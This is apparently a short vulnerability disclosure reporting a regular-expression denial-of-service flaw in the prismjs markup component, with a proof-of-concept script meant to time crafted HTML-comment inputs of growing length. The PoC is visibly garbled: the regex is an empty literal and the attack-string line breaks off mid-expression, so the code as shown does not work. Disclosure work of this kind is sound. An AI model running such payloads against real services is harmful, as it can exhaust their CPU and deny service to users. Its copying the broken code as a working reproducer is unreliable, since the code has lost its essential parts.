✍️ Description

The prismjs package is vulnerable to ReDoS (regular expression denial of service). An attacker that is able to provide a crafted HTML comment as input may cause an application to consume an excessive amount of CPU.
Below pinned line using vulnerable regex.

🕵️‍♂️ Proof of Concept

Reproducer where we’ve copied the relevant code:
https://github.com/PrismJS/prism/blob/148c1eca2f1a8d76b62c8f11569e959faec59772/components/prism-markup.js#L2
Put the below in a poc.js file and run with node

var comment = //
for(var i = 1; i <= 50000; i++) {
  var time = Date.now();
  var attack_str = ""+"